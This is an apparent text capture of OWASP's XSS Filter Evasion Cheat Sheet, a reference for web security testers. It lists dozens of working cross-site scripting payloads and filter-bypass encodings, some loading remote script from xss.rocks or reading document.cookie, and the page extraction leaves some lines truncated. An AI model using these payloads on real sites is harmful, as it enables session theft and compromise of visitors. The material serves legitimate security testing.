XSS Filter Evasion Cheat Sheet
XSS Filter Evasion Cheat Sheet
php/XSS_Filter_Evasion_Cheat_Sheet
Introduction
1 Introduction
2 Tests
2.1 XSS Locator
2.2 XSS Locator (short)
2.3 No Filter Evasion
2.4 Filter bypass based polyglot
2.5 Image XSS using the JavaScript directive
2.6 No quotes and no semicolon
2.7 Case insensitive XSS attack vector
2.8 HTML entities
2.9 Grave accent obfuscation
2.10 Malformed A tags
2.11 Malformed IMG tags
2.12 fromCharCode
2.13 Default SRC tag to get past filters that check SRC domain
2.14 Default SRC tag by leaving it empty
2.15 Default SRC tag by leaving it out entirely
2.16 On error alert
2.17 IMG onerror and javascript alert encode
2.18 Decimal HTML character references
2.19 Decimal HTML character references without trailing semicolons
2.20 Hexadecimal HTML character references without trailing semicolons
2.21 Embedded tab
2.22 Embedded Encoded tab
2.23 Embedded newline to break up XSS
2.24 Embedded carriage return to break up XSS
2.25 Null breaks up JavaScript directive
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2.26 Spaces and meta chars before the JavaScript in images for XSS
2.27 Non-alpha-non-digit XSS
2.28 Extraneous open brackets
2.29 No closing script tags
2.30 Protocol resolution in script tags
2.31 Half open HTML/JavaScript XSS vector
2.32 Double open angle brackets
2.33 Escaping JavaScript escapes
2.34 End title tag
2.35 INPUT image
2.36 BODY image
2.37 IMG Dynsrc
2.38 IMG lowsrc
2.39 List-style-image
2.40 VBscript in an image
2.41 Livescript (older versions of Netscape only)
2.42 SVG object tag
2.43 ECMAScript 6
2.44 BODY tag
2.45 Event Handlers
2.46 BGSOUND
2.47 & JavaScript includes
2.48 STYLE sheet
2.49 Remote style sheet
2.50 Remote style sheet part 2
2.51 Remote style sheet part 3
2.52 Remote style sheet part 4
2.53 STYLE tags with broken up JavaScript for XSS
2.54 STYLE attribute using a comment to break up expression
2.55 IMG STYLE with expression
2.56 STYLE tag (Older versions of Netscape only)
2.57 STYLE tag using background-image
2.58 STYLE tag using background
2.59 Anonymous HTML with STYLE attribute
2.60 Local htc file
2.61 US-ASCII encoding
2.62 META
2.62.1 META using data
2.62.2 META with additional URL parameter
2.63 IFRAME
2.64 IFRAME Event based
2.65 FRAME
2.66 TABLE
2.66.1 TD
2.67 DIV
2.67.1 DIV background-image
2.67.2 DIV background-image with unicoded XSS exploit
2.67.3 DIV background-image plus extra characters
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This article is focused on providing application security testing professionals with a guide to assist in Cross Site
Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS
Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we
plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the XSS (Cross Site Scripting)
Prevention Cheat Sheet, was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We
wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling
developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat
sheet, and so the OWASP Cheat Sheet Series was born.
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Tests
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of
the nuances regarding filter evasion.
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of
the scripts.
XSS Locator
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word
"XSS" will pop up. Use this URL encoding calculator (http://ha.ckers.org/xsscalc.html) to encode the entire
string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated
"<PLAINTEXT>" tag will be enough to check to see if something is vulnerable to XSS by messing up the output
appreciably:
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
No Filter Evasion
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are
not required in any modern browser so they are omitted here):
<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>
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Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image,
but it does in other contexts, but the following show the principles that would work in other tags as well:
<IMG SRC="javascript:alert('XSS');">
HTML entities
The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>
Malformed A tags
Skip the HREF attribute and get to the meat of the XXS... Submitted by David Cross ~ Verified on Chrome
or Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put
them in the right place and fix your missing quotes on a URL or script.
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<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
fromCharCode
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you
need:
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
Default SRC tag to get past filters that check SRC domain
This will bypass most SRC domain filters. Inserting javascript in an event method will also apply to any HTML
tag type injection that uses elements like Form, Iframe, Input, Embed etc. It will also allow any relevant event for
the tag type to be substituted like onblur, onclick giving you an extensive amount of variations for many injections
listed here. Submitted by David Cross .
On error alert
<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>
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<IMG SRC=javascript:alert(
'XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
<IMG SRC=javascript:alert('XSS'
Embedded tab
Used to break up the cross site scripting attack:
<IMG SRC="jav	ascript:alert('XSS');">
<IMG SRC="jav
ascript:alert('XSS');">
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Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7
characters.):
<IMG SRC="jav
ascript:alert('XSS');">
Spaces and meta chars before the JavaScript in images for XSS
This is useful if the pattern match doesn't take into account spaces in the word "javascript:" -which is correct since
that won't render- and makes the false assumption that you can't have a space between the quote and the
"javascript:" keyword. The actual reality is you can have any char from 1-32 in decimal:
Non-alpha-non-digit XSS
The Firefox HTML parser assumes a non-alpha-non-digit is not valid after an HTML keyword and therefor
considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters
assume that the tag they are looking for is broken up by whitespace. For example "<SCRIPT\s" !=
"<SCRIPT/XSS\s":
<SCRIPT/XSS SRC="http://xss.rocks/xss.js"></SCRIPT>
Based on the same idea as above, however,expanded on it, using Rnake fuzzer. The Gecko rendering engine
allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...)
between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this
also applies to the grave accent char as seen here:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit brought this to my attention that there is slightly different behavior between the IE and Gecko rendering
engines that allows just a slash between the tag and the parameter with no spaces. This could be useful if the
system does not allow spaces.
<SCRIPT/SRC="http://xss.rocks/xss.js"></SCRIPT>
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<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=//xss.rocks/.j>
<IMG SRC="javascript:alert('XSS')"
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Netscape Gecko rendering. Without it, Firefox will work but Netscape won't:
\";alert('XSS');//
An alternative, if correct JSON or Javascript escaping has been applied to the embedded data but not HTML
encoding, is to finish the script block and start your own:
</script><script>alert('XSS');</script>
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
INPUT image
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
BODY image
<BODY BACKGROUND="javascript:alert('XSS')">
IMG Dynsrc
<IMG DYNSRC="javascript:alert('XSS')">
IMG lowsrc
<IMG LOWSRC="javascript:alert('XSS')">
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List-style-image
Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering
engine because of the JavaScript directive. Not a particularly useful cross site scripting vector:
VBscript in an image
<IMG SRC='vbscript:msgbox("XSS")'>
ECMAScript 6
Set.constructor`alert\x28document.domain\x29```
BODY tag
Method doesn't require using any variants of "javascript:" or "<SCRIPT..." to accomplish the XSS attack). Dan
Crowley additionally noted that you can put a space before the equals sign ("onload=" != "onload ="):
<BODY ONLOAD=alert('XSS')>
Event Handlers
It can be used in similar XSS attacks to the one above (this is the most comprehensive list on the net, at the time
of this writing). Thanks to Rene Ledosquet for the HTML+TIME updates.
The Dottoro Web Reference (http://help.dottoro.com/) also has a nice list of events in JavaScript
(http://help.dottoro.com/ljfvvdnm.php).
1. FSCommand() (attacker can use this when executed from within an embedded Flash object)
2. onAbort() (when user aborts the loading of an image)
3. onActivate() (when object is set as the active element)
4. onAfterPrint() (activates after user prints or previews print job)
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5. onAfterUpdate() (activates on data object after updating data in the source object)
6. onBeforeActivate() (fires before the object is set as the active element)
7. onBeforeCopy() (attacker executes the attack string right before a selection is copied to the clipboard -
attackers can do this with the execCommand("Copy") function)
8. onBeforeCut() (attacker executes the attack string right before a selection is cut)
9. onBeforeDeactivate() (fires right after the activeElement is changed from the current object)
10. onBeforeEditFocus() (Fires before an object contained in an editable element enters a UI-activated state
or when an editable container object is control selected)
11. onBeforePaste() (user needs to be tricked into pasting or be forced into it using the
execCommand("Paste") function)
12. onBeforePrint() (user would need to be tricked into printing or attacker could use the print() or
execCommand("Print") function).
13. onBeforeUnload() (user would need to be tricked into closing the browser - attacker cannot unload
windows unless it was spawned from the parent)
14. onBeforeUpdate() (activates on data object before updating data in the source object)
15. onBegin() (the onbegin event fires immediately when the element's timeline begins)
16. onBlur() (in the case where another popup is loaded and window looses focus)
17. onBounce() (fires when the behavior property of the marquee object is set to "alternate" and the contents of
the marquee reach one side of the window)
18. onCellChange() (fires when data changes in the data provider)
19. onChange() (select, text, or TEXTAREA field loses focus and its value has been modified)
20. onClick() (someone clicks on a form)
21. onContextMenu() (user would need to right click on attack area)
22. onControlSelect() (fires when the user is about to make a control selection of the object)
23. onCopy() (user needs to copy something or it can be exploited using the execCommand("Copy") command)
24. onCut() (user needs to copy something or it can be exploited using the execCommand("Cut") command)
25. onDataAvailable() (user would need to change data in an element, or attacker could perform the same
function)
26. onDataSetChanged() (fires when the data set exposed by a data source object changes)
27. onDataSetComplete() (fires to indicate that all data is available from the data source object)
28. onDblClick() (user double-clicks a form element or a link)
29. onDeactivate() (fires when the activeElement is changed from the current object to another object in the
parent document)
30. onDrag() (requires that the user drags an object)
31. onDragEnd() (requires that the user drags an object)
32. onDragLeave() (requires that the user drags an object off a valid location)
33. onDragEnter() (requires that the user drags an object into a valid location)
34. onDragOver() (requires that the user drags an object into a valid location)
35. onDragDrop() (user drops an object (e.g. file) onto the browser window)
36. onDragStart() (occurs when user starts drag operation)
37. onDrop() (user drops an object (e.g. file) onto the browser window)
38. onEnd() (the onEnd event fires when the timeline ends.
39. onError() (loading of a document or image causes an error)
40. onErrorUpdate() (fires on a databound object when an error occurs while updating the associated data in
the data source object)
41. onFilterChange() (fires when a visual filter completes state change)
42. onFinish() (attacker can create the exploit when marquee is finished looping)
43. onFocus() (attacker executes the attack string when the window gets focus)
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44. onFocusIn() (attacker executes the attack string when window gets focus)
45. onFocusOut() (attacker executes the attack string when window looses focus)
46. onHashChange() (fires when the fragment identifier part of the document's current address changed)
47. onHelp() (attacker executes the attack string when users hits F1 while the window is in focus)
48. onInput() (the text content of an element is changed through the user interface)
49. onKeyDown() (user depresses a key)
50. onKeyPress() (user presses or holds down a key)
51. onKeyUp() (user releases a key)
52. onLayoutComplete() (user would have to print or print preview)
53. onLoad() (attacker executes the attack string after the window loads)
54. onLoseCapture() (can be exploited by the releaseCapture() method)
55. onMediaComplete() (When a streaming media file is used, this event could fire before the file starts
playing)
56. onMediaError() (User opens a page in the browser that contains a media file, and the event fires when
there is a problem)
57. onMessage() (fire when the document received a message)
58. onMouseDown() (the attacker would need to get the user to click on an image)
59. onMouseEnter() (cursor moves over an object or area)
60. onMouseLeave() (the attacker would need to get the user to mouse over an image or table and then off
again)
61. onMouseMove() (the attacker would need to get the user to mouse over an image or table)
62. onMouseOut() (the attacker would need to get the user to mouse over an image or table and then off again)
63. onMouseOver() (cursor moves over an object or area)
64. onMouseUp() (the attacker would need to get the user to click on an image)
65. onMouseWheel() (the attacker would need to get the user to use their mouse wheel)
66. onMove() (user or attacker would move the page)
67. onMoveEnd() (user or attacker would move the page)
68. onMoveStart() (user or attacker would move the page)
69. onOffline() (occurs if the browser is working in online mode and it starts to work offline)
70. onOnline() (occurs if the browser is working in offline mode and it starts to work online)
71. onOutOfSync() (interrupt the element's ability to play its media as defined by the timeline)
72. onPaste() (user would need to paste or attacker could use the execCommand("Paste") function)
73. onPause() (the onpause event fires on every element that is active when the timeline pauses, including the
body element)
74. onPopState() (fires when user navigated the session history)
75. onProgress() (attacker would use this as a flash movie was loading)
76. onPropertyChange() (user or attacker would need to change an element property)
77. onReadyStateChange() (user or attacker would need to change an element property)
78. onRedo() (user went forward in undo transaction history)
79. onRepeat() (the event fires once for each repetition of the timeline, excluding the first full cycle)
80. onReset() (user or attacker resets a form)
81. onResize() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
82. onResizeEnd() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
83. onResizeStart() (user would resize the window; attacker could auto initialize with something like:
<SCRIPT>self.resizeTo(500,400);</SCRIPT>)
84. onResume() (the onresume event fires on every element that becomes active when the timeline resumes,
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BGSOUND
<BGSOUND SRC="javascript:alert('XSS');">
STYLE sheet
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
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(using something as simple as a remote style sheet you can include your XSS as the style parameter can be
redefined using an embedded expression.) This only works in IE and Netscape 8.1+ in IE rendering engine mode.
Notice that there is nothing on the page to show that there is included JavaScript. Note: With all of these remote
style sheet examples they use the body tag, so it won't work unless there is some content on the page other than
the vector itself, so you'll need to add a single letter to the page to make it work if it's an otherwise blank page:
<STYLE>@import'http://xss.rocks/xss.css';</STYLE>
<STYLE>BODY{-moz-binding:url("http://xss.rocks/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
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<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
US-ASCII encoding
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US-ASCII encoding (found by Kurt Huwig).This uses malformed ASCII encoding with 7 bits instead of 8. This
XSS may bypass many content filters but only works if the host transmits in US-ASCII encoding, or if you set the
encoding yourself. This is more useful against web application firewall cross site scripting evasion than it is server
side filter evasion. Apache Tomcat is the only known server that transmits in US-ASCII encoding.
¼script¾alert(¢XSS¢)¼/script¾
META
The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types
of attacks where you need to get rid of referring URLs:
Directive URL scheme. This is nice because it also doesn't have anything visibly that has the word SCRIPT or the
JavaScript directive in it, because it utilizes base64 encoding. Please see RFC 2397 for more details or go here or
here to encode your own. You can also use the XSS calculator (http://ha.ckers.org/xsscalc.html) below if you just
want to encode raw HTML or JavaScript as it has a Base64 encoding method:
If the target website attempts to see if the URL contains "http://" at the beginning you can evade it with the
following technique (Submitted by Moritz Naumann):
IFRAME
If iframes are allowed there are a lot of other XSS problems as well:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
FRAME
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<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
TABLE
<TABLE BACKGROUND="javascript:alert('XSS')">
TD
Just like above, TD's are vulnerable to BACKGROUNDs containing JavaScript XSS vectors:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
DIV
DIV background-image
This has been modified slightly to obfuscate the url parameter. The original vulnerability was found by Renaud
Lifchitz as a vulnerability in Hotmail:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\00
Rnaske built a quick XSS fuzzer to detect any erroneous characters that are allowed after the open parenthesis but
before the JavaScript directive in IE and Netscape 8.1 in secure site mode. These are in decimal but you can
include hex and add padding of course. (Any of the following chars can be used: 1-32, 34, 39, 160, 8192-8.13,
12288, 65279):
DIV expression
A variant of this was effective against a real world cross site scripting filter using a newline between the colon and
"expression":
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Downlevel-Hidden block
Only works in IE5.0 and later and Netscape 8.1 in IE rendering engine mode). Some websites consider anything
inside a comment block to be safe and therefore does not need to be removed, which allows our Cross Site
Scripting vector. Or the system could add comment tags around something to attempt to render it harmless. As we
can see, that probably wouldn't do the job:
BASE tag
Works in IE and Netscape 8.1 in safe mode. You need the // to comment out the next characters so you won't get a
JavaScript error and your XSS tag will render. Also, this relies on the fact that the website uses dynamically
placed images like "images/image.jpg" rather than full paths. If the path includes a leading forward slash like
"/images/image.jpg" you can remove one slash from this vector (as long as there are two to begin the comment
this will work):
<BASE HREF="javascript:alert('XSS');//">
OBJECT tag
If they allow objects, you can also inject virus payloads to infect the users, etc. and same with the APPLET tag).
The linked file is actually an HTML file that can contain your XSS:
Using an EMBED tag you can embed a Flash movie that contains XSS
Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can
mitigate this risk (thank you to Jonathan Vanasco for the info).:
EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you
org/xss.swf" AllowScriptAccess="always"></EMBED>
You can EMBED SVG which can contain your XSS vector
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the
user to have Flash turned on or installed. Thanks to nEUrOO for this one.
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HTML+TIME in XML
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE
rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
Assuming you can only fit in a few characters and it filters against ".js"
you can rename your JavaScript file to an image as an XSS vector:
<SCRIPT SRC="http://xss.rocks/xss.jpg"></SCRIPT>
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
PHP
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like
this, there are probably much more dire issues:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not
hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a
command. So a normal <IMG SRC="httx://badguy.com/a.jpg"> could actually be an attack vector to run
commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the
vector (thanks to Timo for part of this):
Cookie manipulation
Admittedly this is pretty obscure but I have seen a few examples where <META is allowed and you can use it to
overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is
stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined
you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
log people out or change their user states, get them to log in as you, etc...):
UTF-7 encoding
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7
encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example
(you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding
content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work
in any modern browser without changing the encoding type which is why it is marked as completely unsupported.
Watchfire found this hole in Google's custom 404 script.:
For performing XSS on sites that allow "<SCRIPT>" but don't allow "<script src..." by way of a regex filter
"/<script((\s+\w+(\s*=\s*(?:"(.)*?"|'(.)*?'|[^'">\s]+))?)+\s*|\s*)src/i" (this is an important one, because I've seen
this regex in the wild):
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>
IP verses hostname
<A HREF="http://66.102.7.147/">XSS</A>
URL encoding
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
Dword encoding
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):
<A HREF="http://1113982867/">XSS</A>
Hex encoding
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on
the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not
required):
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
Octal encoding
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B,
etc...:
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
Mixed encoding
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
know). The tabs and newlines only work if this is encapsulated with quotes:
<A HREF="h
tt p://6 6.000146.0x7.147/">XSS</A>
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less
characters can go a long way) and can easily bypass regex like "(ht|f)tp(s)?://" (thanks to Ozh for part of this one).
You can also change the "//" to "\\". You do need to keep the slashes in place, however, otherwise this will be
interpreted as a relative path URL.
<A HREF="//www.google.com/">XSS</A>
Firefox uses Google's "feeling lucky" function to redirect the user to any keywords you type in. So if your
exploitable page is the top for some random keyword (as you see here) you can use that feature against any
Firefox user. This uses Firefox's "keyword:" protocol. You can concatenate several keywords by using something
like the following "keyword:XSS+RSnake" for instance. This no longer works within Firefox as of 2.0.
<A HREF="//google">XSS</A>
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky"
function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic
Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work,
but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer
supported in Firefox as of 2.0:
<A HREF="http://ha.ckers.org@google">XSS</A>
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of
the "feeling lucky" function. Like all of the above it requires that you are #1 in Google for the keyword in
question (in this case "google"):
<A HREF="http://google:ha.ckers.org">XSS</A>
Removing cnames
When combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of
9 for servers that have this set up properly):
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
<A HREF="http://google.com/">XSS</A>
<A HREF="http://www.google.com./">XSS</A>
<A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
Assuming "http://www.google.com/" is programmatically replaced with nothing). I actually used a similar attack
vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to
help create the attack vector (IE: "java	script:" was converted into "java script:", which renders in IE,
Netscape 8.1+ in secure site mode and Opera):
<A HREF="http://www.google.com/ogle.com/">XSS</A>
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
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If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.
• Reflected XSS in Javascript
• DOM-based XSS
...
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XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
header('Location: '.$_GET['param']);
...
As well as:
...
header('Refresh: 0; URL='.$_GET['param']);
...
/?param=javascript:alert(document.cookie)
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.
/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
Contributors
Adam Lange
27 of 28 4/30/17, 10:17 AM
XSS Filter Evasion Cheat Sheet - OWASP https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
Mishra Dhiraj
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